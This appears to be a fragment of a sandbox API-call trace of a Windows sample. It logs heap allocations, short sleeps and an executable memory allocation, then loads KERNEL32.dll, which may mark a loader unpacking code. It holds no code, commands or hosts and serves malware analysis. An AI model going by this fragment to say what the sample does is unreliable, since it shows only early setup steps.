[0052.190] Sleep (dwMilliseconds=0x7)
[0052.207] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x244) returned 0x676870
[0052.209] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x671038
[0052.209] GetCurrentDirectoryA (in: nBufferLength=0x103, lpBuffer=0x6769b0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d
[0052.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x6711c0
[0052.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x404) returned 0x676ac0
[0052.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x676ac0 | out: hHeap=0x670000) returned 1
[0052.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x676ac0
[0052.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x671180
[0052.213] Sleep (dwMilliseconds=0x1)
[0052.221] Sleep (dwMilliseconds=0x3)
[0052.236] Sleep (dwMilliseconds=0x3)
[0052.252] Sleep (dwMilliseconds=0x7)
[0052.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x6711e8
[0052.273] GetLastError () returned 0x0
[0052.273] SetLastError (dwErrCode=0x0)
[0052.273] GetLastError () returned 0x0
[0052.273] SetLastError (dwErrCode=0x0)
[0052.273] GetLastError () returned 0x0
[0052.273] SetLastError (dwErrCode=0x0)
[0052.273] GetLastError () returned 0x0
[0052.273] SetLastError (dwErrCode=0x0)
[0052.273] GetLastError () returned 0x0
[0052.273] SetLastError (dwErrCode=0x0)
[0052.273] SystemTimeToFileTime (in: lpSystemTime=0x19a668, lpFileTime=0x19a654 | out: lpFileTime=0x19a654) returned 1
[0052.273] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19a640, lpFileTime=0x19a648 | out: lpFileTime=0x19a648) returned 1
[0052.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6711e8 | out: hHeap=0x670000) returned 1
[0052.273] GetProcessHeap () returned 0x680000
[0052.273] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10e436) returned 0xdec5020
[0052.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x84) returned 0x676b48
[0052.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4000) returned 0x676bd8
[0052.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x18) returned 0x6711e8
[0052.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x40) returned 0x6710e0
[0052.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2d00) returned 0x67abe0
[0052.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x8000) returned 0xdfe0048
[0052.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4f0) returned 0x67d8e8
[0052.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dde0
[0052.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dde0
[0052.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dde0
[0052.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c8) returned 0x67d8e8
[0052.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddb8
[0052.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddb8
[0052.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddb8
[0052.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.335] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4cc) returned 0x67d8e8
[0052.335] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddc0
[0052.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc0 | out: hHeap=0x670000) returned 1
[0052.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddc0
[0052.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc0 | out: hHeap=0x670000) returned 1
[0052.336] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddc0
[0052.336] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc0 | out: hHeap=0x670000) returned 1
[0052.338] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4d4) returned 0x67d8e8
[0052.338] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddc8
[0052.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc8 | out: hHeap=0x670000) returned 1
[0052.338] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddc8
[0052.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc8 | out: hHeap=0x670000) returned 1
[0052.338] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddc8
[0052.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc8 | out: hHeap=0x670000) returned 1
[0052.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c8) returned 0x67d8e8
[0052.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddb8
[0052.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddb8
[0052.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddb8
[0052.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c4) returned 0x67d8e8
[0052.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddb8
[0052.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddb8
[0052.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddb8
[0052.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4cc) returned 0x67d8e8
[0052.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddc0
[0052.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc0 | out: hHeap=0x670000) returned 1
[0052.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddc0
[0052.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc0 | out: hHeap=0x670000) returned 1
[0052.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddc0
[0052.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.348] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc0 | out: hHeap=0x670000) returned 1
[0052.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c8) returned 0x67d8e8
[0052.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddb8
[0052.348] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddb8
[0052.348] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddb8
[0052.348] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.350] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb8 | out: hHeap=0x670000) returned 1
[0052.350] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4d4) returned 0x67d8e8
[0052.350] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddc8
[0052.350] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc8 | out: hHeap=0x670000) returned 1
[0052.351] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddc8
[0052.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc8 | out: hHeap=0x670000) returned 1
[0052.351] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddc8
[0052.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc8 | out: hHeap=0x670000) returned 1
[0052.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4e0) returned 0x67d8e8
[0052.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddd0
[0052.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddd0
[0052.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddd0
[0052.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4e0) returned 0x67d8e8
[0052.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddd0
[0052.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddd0
[0052.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddd0
[0052.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4d0) returned 0x67d8e8
[0052.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddc0
[0052.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc0 | out: hHeap=0x670000) returned 1
[0052.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddc0
[0052.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc0 | out: hHeap=0x670000) returned 1
[0052.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddc0
[0052.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc0 | out: hHeap=0x670000) returned 1
[0052.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4dc) returned 0x67d8e8
[0052.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddd0
[0052.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddd0
[0052.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddd0
[0052.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4f0) returned 0x67d8e8
[0052.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dde0
[0052.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dde0
[0052.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dde0
[0052.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.361] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.361] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4f0) returned 0x67d8e8
[0052.361] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dde0
[0052.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.362] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dde0
[0052.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.362] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dde0
[0052.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.362] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4f0) returned 0x67d8e8
[0052.362] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dde0
[0052.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.362] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dde0
[0052.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dde0
[0052.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4f0) returned 0x67d8e8
[0052.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dde0
[0052.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dde0
[0052.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dde0
[0052.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4f0) returned 0x67d8e8
[0052.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dde0
[0052.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dde0
[0052.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dde0
[0052.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4e8) returned 0x67d8e8
[0052.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddd8
[0052.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd8 | out: hHeap=0x670000) returned 1
[0052.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddd8
[0052.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd8 | out: hHeap=0x670000) returned 1
[0052.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddd8
[0052.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd8 | out: hHeap=0x670000) returned 1
[0052.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4f0) returned 0x67d8e8
[0052.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dde0
[0052.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dde0
[0052.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dde0
[0052.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dde0 | out: hHeap=0x670000) returned 1
[0052.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4ac) returned 0x67d8e8
[0052.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dda0
[0052.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dda0 | out: hHeap=0x670000) returned 1
[0052.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dda0
[0052.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dda0 | out: hHeap=0x670000) returned 1
[0052.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dda0
[0052.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dda0 | out: hHeap=0x670000) returned 1
[0052.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4ac) returned 0x67d8e8
[0052.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dda0
[0052.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dda0 | out: hHeap=0x670000) returned 1
[0052.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dda0
[0052.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dda0 | out: hHeap=0x670000) returned 1
[0052.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dda0
[0052.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dda0 | out: hHeap=0x670000) returned 1
[0052.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4d8) returned 0x67d8e8
[0052.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddc8
[0052.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc8 | out: hHeap=0x670000) returned 1
[0052.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddc8
[0052.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc8 | out: hHeap=0x670000) returned 1
[0052.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddc8
[0052.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddc8 | out: hHeap=0x670000) returned 1
[0052.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4dc) returned 0x67d8e8
[0052.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddd0
[0052.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddd0
[0052.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddd0
[0052.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddd0 | out: hHeap=0x670000) returned 1
[0052.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4b8) returned 0x67d8e8
[0052.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67dda8
[0052.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dda8 | out: hHeap=0x670000) returned 1
[0052.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67dda8
[0052.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dda8 | out: hHeap=0x670000) returned 1
[0052.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67dda8
[0052.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dda8 | out: hHeap=0x670000) returned 1
[0052.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4bc) returned 0x67d8e8
[0052.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddb0
[0052.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb0 | out: hHeap=0x670000) returned 1
[0052.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddb0
[0052.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb0 | out: hHeap=0x670000) returned 1
[0052.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddb0
[0052.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb0 | out: hHeap=0x670000) returned 1
[0052.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c0) returned 0x67d8e8
[0052.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4c) returned 0x67ddb0
[0052.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb0 | out: hHeap=0x670000) returned 1
[0052.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x480) returned 0x67ddb0
[0052.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb0 | out: hHeap=0x670000) returned 1
[0052.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1c) returned 0x67ddb0
[0052.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d8e8 | out: hHeap=0x670000) returned 1
[0052.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ddb0 | out: hHeap=0x670000) returned 1
[0052.375] Sleep (dwMilliseconds=0x1)
[0052.377] Sleep (dwMilliseconds=0x3)
[0052.392] Sleep (dwMilliseconds=0x3)
[0052.409] Sleep (dwMilliseconds=0x7)
[0052.444] Sleep (dwMilliseconds=0x1)
[0052.459] Sleep (dwMilliseconds=0x3)
[0052.479] Sleep (dwMilliseconds=0x3)
[0052.487] Sleep (dwMilliseconds=0x7)
[0052.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d8e8
[0052.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2d0) returned 0x67d910
[0052.515] VirtualAlloc (lpAddress=0x61e00000, dwSize=0xf2350, flAllocationType=0x3000, flProtect=0x40) returned 0x61e00000
[0052.539] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76840000
[0052.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67dbe8
